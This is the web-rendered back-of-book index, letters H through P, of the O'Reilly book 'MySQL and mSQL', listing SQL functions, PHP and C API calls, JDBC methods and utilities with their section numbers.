guest book servlet: 14.4. A Guest Book Servlet

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: H

\h command: 17.1. MySQL Utilities
hash (#) mark, for deprecated methods: 22. JDBC Reference
HAVING clause: 15.1. MySQL SQL
header( ) function: 18.1. PHP
18.1. PHP
help command: 17.1. MySQL Utilities
HEX( ) function: 15.1. MySQL SQL
hexdec( ) function: 18.1. PHP
18.1. PHP
host function: 21.3. Msql.pm API
Host, MySQL server status: 4.4.1.4. Server status
host table: 4.4.3.3. The host table
Host_Lookup system variable: 16.2.2.2. system
Hostname: 5.5.1.4. Server status
HOUR( ) function: 15.1. MySQL SQL
HTML
definition: 9.1. What Is CGI?
extensions: 12. PHP and Other Support for Database-driven HTML
forms: 9.2. HTML Forms
12.2.3. W3-mSQL Example
Lite and: 12.2.3. W3-mSQL Example
W3-mSQL and: 12.2. W3-mSQL
HTML tag to hide scripting language: 12.2. W3-mSQL
htmlspecialchars( ) function: 18.1. PHP
18.1. PHP
HTTP
cookies: 9.4.1. State Retention
definition: 9.1. What Is CGI?
headers: 9.3.6. Standard Output
HTTP GET method: 9.3. The CGI Specification
HTTP_ mechanism: 9.3.1. Environment Variables
HTTP POST method: 9.3. The CGI Specification
Hughes, David: 1.4.1.1. David Hughes
5.1. Design
5.6.2.4. Programming interfaces
Hughes Technology: 3.2. mSQL
Hyalog utility: 4.5.2.5. Miscellaneous

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: I

%I, in mSQL configuration files: 16.2.2. The mSQL Configuration File
#include files: 13.1. The Two APIs
13.1. The Two APIs
Id, MySQL server status: 4.4.1.4. Server status
identifiers, unique (see primary keys)
IF( ) function: 15.1. MySQL SQL
IFNULL( ) function: 15.1. MySQL SQL
IGNORE keyword: 15.1. MySQL SQL
15.1. MySQL SQL
imagearc( ) function: 18.1. PHP
18.1. PHP
imagechar( ) function: 18.1. PHP
18.1. PHP
imagecharup( ) function: 18.1. PHP
18.1. PHP
imagecolorallocate( ) function: 18.1. PHP
18.1. PHP
imagecolortransparent( ) function: 18.1. PHP
18.1. PHP
imagecopyresized( ) function: 18.1. PHP
18.1. PHP
imagecreate( ) function: 18.1. PHP
18.1. PHP
imagecreatefromgif( ) function: 18.1. PHP
18.1. PHP
imagedestroy( ) function: 18.1. PHP
18.1. PHP
imagefill( ) function: 18.1. PHP
18.1. PHP
imagefilledpolygon( ) function: 18.1. PHP
18.1. PHP
imagefilledrectangle( ) function: 18.1. PHP
18.1. PHP
imagefilltoborder( ) function: 18.1. PHP
18.1. PHP
imagegif( ) function: 18.1. PHP
18.1. PHP
imageinterlace( ) function: 18.1. PHP
18.1. PHP
imageline( ) function: 18.1. PHP
18.1. PHP
imagepolygon( ) function: 18.1. PHP
18.1. PHP
imagerectangle( ) function: 18.1. PHP
18.1. PHP
imagesetpixel( ) function: 18.1. PHP
18.1. PHP
imagestring( ) function: 18.1. PHP
18.1. PHP
imagestringup( ) function: 18.1. PHP
18.1. PHP
imagesx( ) function: 18.1. PHP
18.1. PHP
imagesy( ) function: 18.1. PHP
18.1. PHP
include( ) function: 18.1. PHP
18.1. PHP
includeFile( ) function: 18.2. Lite
18.2. Lite
incremental backup feature: 4.4.2. Backups
indexing support
mSQL: 5.2. mSQL Versions
SQL: 6.4. Indices
Ingres: 7.3. PostgreSQL
(see also ESQL)
Init DB command: 4.4.1.4. Server status
initialization
of mSQL databases: 5.4. Running mSQL
of MySQL databases: 4.3. Running MySQL
initsyslog( ) function: 18.1. PHP
18.1. PHP
inner join: 6.7.1. Joins
6.7.1. Joins
<INPUT> HTML tag: 9.2. HTML Forms
12.1. Alternatives for Dynamic Content on the Web
INSERT( ) function: 15.1. MySQL SQL
INSERT access: 4.4.3.2. The db table
INSERT command: 6.6. Managing Data
INSERT query: 10.2. An Example DBI Application
INSERT statement: 15.1. MySQL SQL
15.2. mSQL SQL
insertRow( ) method: 22. JDBC Reference
installation
interfaces to DBI/DBD: 21.1. Installation
mSQL: 5.3. Installing mSQL
mSQL setup script: 3.2. mSQL
MySQL
binary distribution: 3.1.2. Installing a Binary Distribution
considerations: 3.1. MySQL
from source: 3.1.1. Installing from Source
source code distribution: 3.1. MySQL
W3-Auth: 12.2.2. Installation
W3-mSQL: 12.2.2. Installation
instantiation of objects: 8.3. Object/Relational Modeling
INST_DIR variable: 3.2. mSQL
Institute for System Programming, Russian Academy of Science: 7.4. GNU SQL
INSTR( ) function: 15.1. MySQL SQL
INT datatype: 6.3. SQL Datatypes
6.3.5. Other Kinds of Data
15.1. MySQL SQL
15.2. mSQL SQL
International Standards Organization (ISO): 6.3.2. Character Types
INTO OUTFILE modifier: 15.1. MySQL SQL
intval( ) function: 18.1. PHP
18.1. PHP
isAfterLast( ) method: 22. JDBC Reference
isamchk utility: 4.5.1. Command Line Tools
4.6.1. The MySQL Data Structure
4.6.1.2. Removing and replacing keys
17.1. MySQL Utilities
isamlog utility: 17.1. MySQL Utilities
isAutoIncrement( ) method: 22. JDBC Reference
isBeforeLast( ) method: 22. JDBC Reference
isCaseSensitive( ) method: 22. JDBC Reference
isClosed( ) method: 22. JDBC Reference
IsConnected( ) method: 13.2.1.4. Other Connection behaviors
isCurrency( ) method: 22. JDBC Reference
ISD file: 4.6.1. The MySQL Data Structure
4.6.1.1. Repairing damaged tables
isDefinitelyWritable( ) method: 22. JDBC Reference
isFirst( ) method: 22. JDBC Reference
isLast( ) method: 22. JDBC Reference
ISM file: 4.6.1. The MySQL Data Structure
ISNULL( ) function: 15.1. MySQL SQL
isNullable( ) method: 22. JDBC Reference
ISO 8859-1 (Latin 1): 6.2. Creating and Dropping Tables
isReadOnly( ) method: 22. JDBC Reference
22. JDBC Reference
isSearchable( ) method: 22. JDBC Reference
isset( ) function: 18.1. PHP
18.1. PHP
isSigned( ) method: 22. JDBC Reference
isWritable( ) method: 22. JDBC Reference

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: J

Jacobson,Ivar: 13.2. Object-oriented Database Access in C++
Jate utility: 5.6.2.2. CGI interfaces
Java: 5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
Java DataBase Connectivity API: 14. Java and JDBC
(see also JDBC)
JavaScript: 12.1. Alternatives for Dynamic Content on the Web
java.sql package: 14.1.1. The Database Connection
22. JDBC Reference
JDBC: 5.6.2.4. Programming interfaces
database access: 14.2. Simple Database Access
database connections: 14.1.1. The Database Connection
definition: 14. Java and JDBC
drivers: 14.1.1. The Database Connection
dynamic database access: 14.3. Dynamic Database Access
error handling: 14.2.1. Error Handling and Clean Up
guest book servlet: 14.4. A Guest Book Servlet
protocol: 14.1.1. The Database Connection
JDBC 2.0 specification: 14.1. What Is JDBC?
14.2. Simple Database Access
JDBC API: 22. JDBC Reference
jdbcCompliant( ) method: 22. JDBC Reference
join_buffer option: 16.1.2. Command line variables
joining tables: 15.1. MySQL SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: K

key( ) function: 18.1. PHP
18.1. PHP
keybuffer option: 16.1.2. Command line variables
key_buffer variable: 4.6. Performance Tuning
keys, role in database performance: 4.6.1.1. Repairing damaged tables
keywords, case sensitivity: 6.1.2. The Design of SQL
kill( ) function: 18.2. Lite
18.2. Lite
Kill command: 4.4.1.4. Server status
kill ID1,ID2, . . .,IDn command: 4.4.1.6. Command line options for mysqladmin
KILL statement: 15.1. MySQL SQL
kill thread-id command: 17.1. MySQL Utilities
Klein, Robert: 7.5. Beagle

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: L

-log option: 4.4.1.4. Server status
last( ) method: 22. JDBC Reference
LCASE( ) function: 15.1. MySQL SQL
LEAST( ) function: 15.1. MySQL SQL
LEFT( ) function: 15.1. MySQL SQL
LENGTH( ) function: 15.1. MySQL SQL
length( ) method: 22. JDBC Reference
client app: 4.5.2.3. Client applications
LIKE clauses: 5.2. mSQL Versions
LIMIT rows, with SELECT statement: 15.1. MySQL SQL
link( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
linkinfo( ) function: 18.1. PHP
18.1. PHP
listdbs function: 21.3. Msql.pm API
listfields function: 21.3. Msql.pm API
listindex function: 21.3. Msql.pm API
listtables function: 21.3. Msql.pm API
Lite: 18.1. PHP
(see also PHP)
example: 12.2.3. W3-mSQL Example
HTML and: 12.2.3. W3-mSQL Example
scripting with: 12. PHP and Other Support for Database-driven HTML
LOAD statement: 15.1. MySQL SQL
LOCATE( ) function: 15.1. MySQL SQL
Location HTTP header: 9.3.6. Standard Output
LOCK statement: 15.1. MySQL SQL
LOG10( ) function: 15.1. MySQL SQL
logas( ) function: 18.1. PHP
18.1. PHP
LONG VARBINARY datatype: 15.1. MySQL SQL
LONG VARCHAR datatype: 15.1. MySQL SQL
LONGBLOB datatype: 6.3.3. Binary Datatypes
15.1. MySQL SQL
LONGTEXT datatype: 6.3.2.1. Variable-length character fields in MySQL
15.1. MySQL SQL
LOWER( ) function: 15.1. MySQL SQL
LPAD( ) function: 15.1. MySQL SQL
LTRIM( ) function: 15.1. MySQL SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: M

Mac version of mSQL: 5.3. Installing mSQL
mail( ) function: 18.1. PHP
18.1. PHP
many-to-many relationships: 2.2.5. Kinds of Relationships
2.4. Physical Database Design
MAX( ) function: 15.1. MySQL SQL
Max connections: 5.5.1.4. Server status
max_allowed_packet option: 16.1.2. Command line variables
max_connections option: 16.1.2. Command line variables
max_connections variable: 4.6. Performance Tuning
max_join_size option: 16.1.2. Command line variables
max_sort_length option: 16.1.2. Command line variables
md5( ) function: 18.1. PHP
18.1. PHP
MEDIUMBLOB datatype: 15.1. MySQL SQL
MEDIUMINT datatype: 15.1. MySQL SQL
MEDIUMTEXT datatype: 6.3.2.1. Variable-length character fields in MySQL
15.1. MySQL SQL
meta data, definition: 14.3.1. Meta Data
microtime( ) function: 18.1. PHP
18.1. PHP
MID( ) function: 15.1. MySQL SQL
mid-range database engines: 7. Other Mid-Range Database Engines
min( ) function: 18.1. PHP
18.1. PHP
Minerva Network Management System: 1.4.1.1. David Hughes
MINUTE( ) function: 15.1. MySQL SQL
mkdir( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
mkdirs command: 5.4.1. Running Multiple Daemons
mktime( ) function: 18.1. PHP
18.1. PHP
mm.mysql.jdbc file: 4.5.2.4. Programming interfaces
MOD( ) function: 15.1. MySQL SQL
mod_auth_msql utility: 5.6.2.5. Miscellaneous
mod_auth_mysql file: 4.5.2.5. Miscellaneous
MODIFY statement: 15.1. MySQL SQL
mod_log_mysql file: 4.5.2.5. Miscellaneous
MONEY datatype: 5.2. mSQL Versions
6.3. SQL Datatypes
6.3.5. Other Kinds of Data
15.2. mSQL SQL
MONTH( ) function: 15.1. MySQL SQL
MONTHNAME( ) function: 15.1. MySQL SQL
Monty (see Widenius, Michael)
move database newdatabase command: 17.2. mSQL Utilities
moveToCurrentRow( ) method: 22. JDBC Reference
moveToInsertRow( ) method: 22. JDBC Reference
mSQL
administration: 5.5. Database Administration
C APIs: 19.2. mSQL C API
C libraries: 13. C and C++
C++ programming: 5.6.2.4. Programming interfaces
CGI interfaces: 5.6.2.2. CGI interfaces
client applications: 5.6.2.3. Client applications
command line tools: 5.6.1. Command Line Tools
comparing to MySQL: 1.4.2.1. MySQL or mSQL?
configuration file: 5.4.1. Running Multiple Daemons
5.4.2. The mSQL Configuration File
16.2.2. The mSQL Configuration File
copying a database: 5.5.1.3. Database renaming and copying
creating a database: 5.5.1.1. Database creation
database administration security: 5.5.3. Security
database conversion utilities: 5.6.2.1. Database conversion utilities
database handles: 10.1. DBI
datatypes: 15.2. mSQL SQL
19.2.1. Datatypes
design of: 5.1. Design
destroying a database: 5.5.1.2. Database destruction
environment variables: 16.2. mSQL System Variables
extended functionality: 6.8.2. mSQL Features
history: 1.4.1. The History of mSQL
installation of: 5.3. Installing mSQL
installation setup script: 3.2. mSQL
Java programming: 5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
JDBC (see JDBC)
limitations: 1.4. MySQL and mSQL
7.2. What MySQL and mSQL Lack
8.2. Data Processing
local access: 5.1. Design
5.4. Running mSQL
multiple instances: 5.4.1. Running Multiple Daemons
network protocol: 5.1. Design
Perl interface: 10. Perl
Perl programming: 5.6.2.4. Programming interfaces
programming interfaces: 5.6.2.4. Programming interfaces
Python methods: 20.2. Module: mSQL
Python programming: 5.6.2.4. Programming interfaces
query( ) method: 11.1.1. Queries
reloading ACL: 5.5.1.6. Reloading server changes
remote access: 5.1. Design
5.4. Running mSQL
renaming a database: 5.5.1.3. Database renaming and copying
restarting after a crash: 5.4. Running mSQL
REXX programming: 5.6.2.4. Programming interfaces
running: 5.4. Running mSQL
script for CD database: 2.4. Physical Database Design
security: 5.5.3. Security
select application for: 13.1. The Two APIs
sequences: 5.6.2.5. Miscellaneous
6.5.2. mSQL Sequences
server status: 5.5.1.4. Server status
shutting down: 5.5.1.5. Server shutdown
SQL reference: 15.2. mSQL SQL
SSL connections: 5.6.2.5. Miscellaneous
Tcl programming: 5.6.2.4. Programming interfaces
third party tools: 5.6.2. Third Party Support
under Windows and OS/2: 5.3. Installing mSQL
5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
username and password: 10.1. DBI
utilities: 5.6. mSQL Utilities
17.2. mSQL Utilities
versions: 5.2. mSQL Versions
VisualBasic programming: 5.6.2.4. Programming interfaces
msql( ) function: 18.1. PHP
18.1. PHP
msql command: 5.6.1. Command Line Tools
mSQL-JDBC driver: 5.6.2.4. Programming interfaces
msql utility: 17.2. mSQL Utilities
msql.acl: 5.5.1.6. Reloading server changes
5.5.3. Security
msqladmin command line options: 5.5.1.4. Server status
msqladmin stats command: 5.5.1.4. Server status
msqladmin utility: 5.5.1. The msqladmin Utility
17.2. mSQL Utilities
mSQLBase API: 5.6.2.4. Programming interfaces
mSQLCGI utility: 5.6.2.2. CGI interfaces
mSQLCLI API: 5.6.2.4. Programming interfaces
msqlClose( ) function: 18.2. Lite
18.2. Lite
msqlClose( ) method: 13.2.1.2. Disconnecting from the database
msqlClose API: 19. C Reference
msql.conf: 5.4.1. Running Multiple Daemons
5.4.2. The mSQL Configuration File
msql.conf file: 16.2.2. The mSQL Configuration File
msql_connect( ) function: 18.1. PHP
18.1. PHP
mSQL.connect( ) method: 20.2. Module: mSQL
msqlConnect API: 19. C Reference
msql_createdb( ) function: 18.1. PHP
18.1. PHP
msqld database server: 16.2.2. The mSQL Configuration File
msql2d utility: 5.4.1. Running Multiple Daemons
17.2. mSQL Utilities
msqlDataSeek( ) function: 18.2. Lite
18.2. Lite
msqlDataSeek API: 19. C Reference
msql_dbname( ) function: 18.1. PHP
18.1. PHP
msqldll library: 5.6.2.4. Programming interfaces
msql_dropdb( ) function: 18.1. PHP
18.1. PHP
msqldump utility: 5.5.2. Backups
5.6.1. Command Line Tools
17.2. mSQL Utilities
mSQLEmacs: 5.6.2.5. Miscellaneous
msqlEncode( ) function: 18.2. Lite
18.2. Lite
msqlErrMsg global variable: 13.2.1.4. Other Connection behaviors
msqlErrMsg value: 13.2.2. Error Handling Issues
msqlexpire command: 5.6.2.5. Miscellaneous
msqlexport utility: 5.6.1. Command Line Tools
17.2. mSQL Utilities
msqlFetchField API: 19. C Reference
msqlFetchRow( ) method: 13.2.3.1. Navigating results
18.2. Lite
18.2. Lite
msqlFetchRow API: 19. C Reference
msql_fieldflags( ) function: 18.1. PHP
18.1. PHP
msql_fieldlen( ) function: 18.1. PHP
18.1. PHP
msql_fieldname( ) function: 18.1. PHP
msqlFieldSeek( ) function: 18.2. Lite
18.2. Lite
msqlFieldSeek API: 19. C Reference
msql_fieldtype( ) function: 18.1. PHP
18.1. PHP
msql_freeresult( ) function: 18.1. PHP
18.1. PHP
msqlFreeResult API: 19. C Reference
msqlimport utility: 5.6.1. Command Line Tools
17.2. mSQL Utilities
msqlInitFieldList( ) function: 18.2. Lite
18.2. Lite
MsqlJava API: 5.6.2.4. Programming interfaces
msql_listdbs( ) function: 18.1. PHP
18.1. PHP
msqlListDBs API: 19. C Reference
msqlListField( ) function: 18.2. Lite
18.2. Lite
msql_listfields( ) function: 18.1. PHP
18.1. PHP
msqlListFields API: 19. C Reference
msqlListIndex API: 19. C Reference
msql_listtables( ) function: 18.1. PHP
18.1. PHP
msqlListTables API: 19. C Reference
msql_numfields( ) function: 18.1. PHP
18.1. PHP
msqlNumFields API: 19. C Reference
msql_numrows( ) function: 18.1. PHP
18.1. PHP
18.1. PHP
18.1. PHP
msqlNumRows( ) method: 13.1. The Two APIs
msqlNumRows API: 19. C Reference
MsqlODBC API: 5.6.2.4. Programming interfaces
mSQLPerl: 5.6.2.4. Programming interfaces
MsqlPerl modules: 21.1. Installation
Msql.pm API: 21.3. Msql.pm API
mSQLpp: 5.6.2.1. Database conversion utilities
mSQLPython: 5.6.2.4. Programming interfaces
msqlQuery( ) function: 18.2. Lite
18.2. Lite
msqlQuery( ) method: 13.2.1.3. Making Calls to the database
13.2.1.3. Making Calls to the database
msqlQuery API: 19. C Reference
msql_regcase( ) function: 18.1. PHP
18.1. PHP
msql_result( ) function: 18.1. PHP
18.1. PHP
mSQLRexx: 5.6.2.4. Programming interfaces
msqlSelectDB( ) function: 18.2. Lite
18.2. Lite
msqlSelectDB( ) method: 13.2.1.1. Connecting to the database
msqlSelectDB API: 19. C Reference
mSQLsql utility: 5.6.2.3. Client applications
mSQLSSL: 5.6.2.5. Miscellaneous
msqlStoreResult( ) function: 18.2. Lite
18.2. Lite
msqlStoreResult( ) method: 13.2.1.3. Making Calls to the database
msqlStoreResult API: 19. C Reference
msql_tablename( ) function: 18.1. PHP
18.1. PHP
mSQLTCL: 5.6.2.4. Programming interfaces
mSQL_User variable: 16.2.2.1. general
mSQLVdb: 5.6.2.4. Programming interfaces
mSQLwin-relshow utility: 5.6.2.3. Client applications
Msync_timer system variable: 16.2.2.2. system
multi-threaded locking system: 7.2.1. Transactions
multi-threaded processing: 4.1. Design
multiple daemons, running: 5.4.1. Running Multiple Daemons
my.cnf file: 16.1.3. The MySQL Configuration File
MyODBC API: 4.5.2.4. Programming interfaces
MySQL++: 4.5.2.4. Programming interfaces
mysql( ) function: 18.1. PHP
18.1. PHP
Mysql-c++: 4.5.2.4. Programming interfaces
mysql command: 4.5.1. Command Line Tools
MYSQL datatype: 19.1.1. Datatypes
MySQL mysql_error( ) function: 13.1. The Two APIs
mysql utility: 17.1. MySQL Utilities
Mysql-webadmin, CGI interface: 4.5.2.2. CGI interfaces
mysqlaccess command: 4.4.3.6. The mysqlaccess utility
17.1. MySQL Utilities
Mysqladm, CGI interface: 4.5.2.2. CGI interfaces
mysqladmin command: 4.5.1. Command Line Tools
mysqladmin processlist output: 4.4.1.4. Server status
mysqladmin reload command: 4.6.1.1. Repairing damaged tables
mysqladmin status: 4.4.1.4. Server status
mysqladmin utility: 4.4.1. The mysqladmin Utility
17.1. MySQL Utilities
mysql_affected_rows( ) function: 18.1. PHP
18.1. PHP
mysql_affected_rows( ) method: 13.2.1.3. Making Calls to the database
mysql_affected_rows API: 19. C Reference
mysqlbug utility: 4.5.1. Command Line Tools
17.1. MySQL Utilities
mysql_close( ) function: 18.1. PHP
18.1. PHP
mysql_close( ) method: 13.2.1.2. Disconnecting from the database
mysql_close API: 19. C Reference
mysql_connect( ) function: 18.1. PHP
18.1. PHP
MySQL.connect( ) method: 20.1. Module: MySQL
mysql_connect API: 19. C Reference
mysql_createdb( ) function: 18.1. PHP
18.1. PHP
mysql_create_db API: 19. C Reference
mysqld utility: 17.1. MySQL Utilities
mysql_data_seek API: 19. C Reference
mysql_dbname( ) function: 18.1. PHP
18.1. PHP
mysql_debug API: 19. C Reference
mysql_dropdb( ) function: 18.1. PHP
18.1. PHP
mysql_drop_db API: 19. C Reference
mysqldump utility: 4.4.2. Backups
4.5.1. Command Line Tools
17.1. MySQL Utilities
mysql_dump_debug_info API: 19. C Reference
mysql_eof API: 19. C Reference
mysql_errno API: 19. C Reference
mysql_error( ) function: 13.1. The Two APIs
mysql_error API: 19. C Reference
mysql_escape_string API: 19. C Reference
mysql_fetch_field API: 19. C Reference
mysql_fetch_field_direct API: 19. C Reference
mysql_fetch_fields API: 19. C Reference
mysql_fetch_lengths API: 19. C Reference
mysql_fetch_row( ) method: 13.2.3.1. Navigating results
mysql_fetch_row API: 19. C Reference
mysql_fieldflags( ) function: 18.1. PHP
18.1. PHP
mysql_fieldlen( ) function: 18.1. PHP
18.1. PHP
mysql_fieldname( ) function: 18.1. PHP
18.1. PHP
mysql_field_seek API: 19. C Reference
mysql_field_tell API: 19. C Reference
mysql_fieldtype( ) function: 18.1. PHP
18.1. PHP
mysql_freeresult( ) function: 18.1. PHP
18.1. PHP
mysql_free_result API: 19. C Reference
mysql_get_client_info API: 19. C Reference
mysql_get_host_info API: 19. C Reference
mysql_get_proto_info API: 19. C Reference
mysql_get_server_info API: 19. C Reference
mysqlimport utility: 4.5.1. Command Line Tools
17.1. MySQL Utilities
mysql_info API: 19. C Reference
mysql_init API: 19. C Reference
mysql_insert_id( ) function: 18.1. PHP
18.1. PHP
mysql_insert_id API: 19. C Reference
mysql_kill API: 19. C Reference
mysql_listdbs( ) function: 18.1. PHP
18.1. PHP
mysql_list_dbs API: 19. C Reference
mysql_listfields( ) function: 18.1. PHP
18.1. PHP
mysql_list_fields API: 19. C Reference
mysql_list_processes API: 19. C Reference
mysql_listtables( ) function: 18.1. PHP
18.1. PHP
mysql_list_tables API: 19. C Reference
MySQLmodule: 4.5.2.4. Programming interfaces
mysql_numfields( ) function: 18.1. PHP
18.1. PHP
mysql_num_fields( ) method: 13.2.1.3. Making Calls to the database
mysql_num_fields API: 19. C Reference
mysql_num_rows( ) API: 13.1. The Two APIs
mysql_num_rows API: 19. C Reference
mysqlpasswd: 4.5.2.5. Miscellaneous
MysqlPerl: 10.4. MysqlPerl
MySQLPerl modules: 21.1. Installation
mysql_ping API: 19. C Reference
Mysql.pm API: 21.4. Mysql.pm API
mysql_query( ) method: 13.2.1.3. Making Calls to the database
mysql_query API: 19. C Reference
mysql_real_connect( ) method: 13.1. The Two APIs
13.2.1.1. Connecting to the database
mysql_real_connect API: 19. C Reference
mysql_real_query API: 19. C Reference
mysql_reload API: 19. C Reference
mysql_result( ) function: 18.1. PHP
18.1. PHP
mysql_row_tell API: 19. C Reference
mysql_select_db API: 19. C Reference
mysqlshow utility: 17.1. MySQL Utilities
mysql_shutdown API: 19. C Reference
mysql_stat API: 19. C Reference
mysql_store_result( ) method: 13.2.1.3. Making Calls to the database
mysql_store_result API: 19. C Reference
mysql_tablename( ) function: 18.1. PHP
18.1. PHP
Mysqltcl utility: 4.5.2.4. Programming interfaces
mysql_thread_id API: 19. C Reference
mysql_use_result API: 19. C Reference
Mysql_watchdog: 4.5.2.5. Miscellaneous
Mysqlwinadmn utility: 4.5.2.3. Client applications

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: N

National Center for Supercomputing Applications (NCSA): 9.1. What Is CGI?
nativeSQL( ) method: 22. JDBC Reference
neat function: 21.2. DBI.pm API
neat_list function: 21.2. DBI.pm API
net_buffer_length option: 16.1.2. Command line variables
Netscape Navigator: 9.4.1. State Retention
NExS: 5.6.2.4. Programming interfaces
next( ) function: 18.1. PHP
Next( ) method: 13.2.3.1. Navigating results
normalization: 2.2. Normalization
first normal form: 2.2.1. First Normal Form (1NF)
second normal form: 2.2.4. Second Normal Form (2NF)
2.2.7. More 2NF
third normal form: 2.2.8. Third Normal Form (3NF)
NOT NULL value: 6.4. Indices
15.1. MySQL SQL
15.2. mSQL SQL
NOW( ) function: 15.1. MySQL SQL
Nsapi_auth_mysql: 4.5.2.5. Miscellaneous
NULL value: 2.1.2. Entity Attributes
15.1. MySQL SQL
NUMERIC datatype: 15.1. MySQL SQL
15.1. MySQL SQL
numeric datatypes: 6.3.1. Numeric Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: O

object-oriented applications: 8.2. Data Processing
object-oriented C++: 13.1. The Two APIs
object-oriented database management systems (OODBMS): 6.1.1. The SQL Story
object-oriented databases: 7.2.5. Objects
object-relational database management systems (ORDBMS): 6.1.1. The SQL Story
object/relational modeling: 8.3. Object/Relational Modeling
OCT( ) function: 15.1. MySQL SQL
octdec( ) function: 18.1. PHP
18.1. PHP
OCTET_LENGTH( ) function: 15.1. MySQL SQL
ODBC (Open Database Connectivity): 5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces
ON keyword: 6.8.1. MySQL Features
one-to-many (1-to-M) relationships: 2.2.5. Kinds of Relationships
2.4. Physical Database Design
one-to-one (1 to 1) relationships: 2.2.5. Kinds of Relationships
open( ) function: 18.2. Lite
18.2. Lite
open source: 7.1. What Is "Free"?
Open tables, MySQL server status: 4.4.1.4. Server status
opendir( ) function: 18.1. PHP
18.1. PHP
openlog( ) function: 18.1. PHP
18.1. PHP
Opens, MySQL server status: 4.4.1.4. Server status
OPTIMIZE statement: 15.1. MySQL SQL
OPTIONALLY keyword: 15.1. MySQL SQL
Oracle, proprietary APIs: 14. Java and JDBC
ord( ) function: 18.1. PHP
18.1. PHP
ORDER BY column: 15.1. MySQL SQL
ordering databases: 6.7.3. Grouping and Ordering
exp: 15.1. MySQL SQL
OS/2, mSQL support for: 5.3. Installing mSQL
5.6.2.4. Programming interfaces
5.6.2.4. Programming interfaces

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: P

-P PORT option: 4.4.1.6. Command line options for mysqladmin
\p command: 17.1. MySQL Utilities
Pam_mysql: 4.5.2.5. Miscellaneous
parse_str( ) function: 18.1. PHP
18.1. PHP
password( ) function: 4.4.3.1. The user table
password NEWPASSWORD command: 4.4.1.6. Command line options for mysqladmin
password password command: 17.1. MySQL Utilities
password-stealing example: 9.4.2. Security
PATH environment variable: 9.4.2. Security
PATH_INFO environment variable: 9.3. The CGI Specification
pclose( ) function: 18.1. PHP
18.1. PHP
PERIOD_ADD( ) function: 15.1. MySQL SQL
PERIOD_DIFF( ) function: 15.1. MySQL SQL
Perl
accepting input in: 9.3.4. Accepting Input in Perl
advantages: 10. Perl
embedded: 12.4. Embedded Perl
mSQL and: 5.6.2.4. Programming interfaces
Msql.pm module: 10.3. Msql.pm
Perl 5: 21.1. Installation
scripts: 9.3.1. Environment Variables
Perl binary: 4.5. MySQL Utilities
PHP: 18.1. PHP
CGI interface: 4.5.2.2. CGI interfaces
quick reference guide: 18.1. PHP
scripting with: 12.3. PHP
PHP command: 5.6.2.2. CGI interfaces
phpinfo( ) function: 18.1. PHP
18.1. PHP
phpversion( ) function: 18.1. PHP
18.1. PHP
PI( ) function: 15.1. MySQL SQL
pid( ) function: 18.2. Lite
18.2. Lite
Pid_File variable: 16.2.2.1. general
Pike-mysql: 4.5.2.4. Programming interfaces
ping command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
ping function: 21.2. DBI.pm API
popen( ) function: 18.1. PHP
18.1. PHP
portability: 14.1.2. Maintaining Portability Using Properties Files
pos( ) function: 18.1. PHP
18.1. PHP
position( ) method: 22. JDBC Reference
22. JDBC Reference
POST form: 9.3. The CGI Specification
POST method: 9.3.3. Standard Input
Postgres, requirements: 1.4.1.1. David Hughes
PostgreSQL: 7.3. PostgreSQL
PostQUEL, compared to Postgres: 1.4.1.1. David Hughes
POW( ) function: 15.1. MySQL SQL
prepare function: 21.2. DBI.pm API
prepareCall( ) method: 22. JDBC Reference
PreparedStatement interface: 22. JDBC Reference
prepareStatement( ) method: 22. JDBC Reference
prev( ) function: 18.1. PHP
18.1. PHP
previous( ) method: 14.2. Simple Database Access
22. JDBC Reference
print command: 17.1. MySQL Utilities
printComments( ) method: 14.4. A Guest Book Servlet
printf( ) function: 18.2. Lite
18.2. Lite
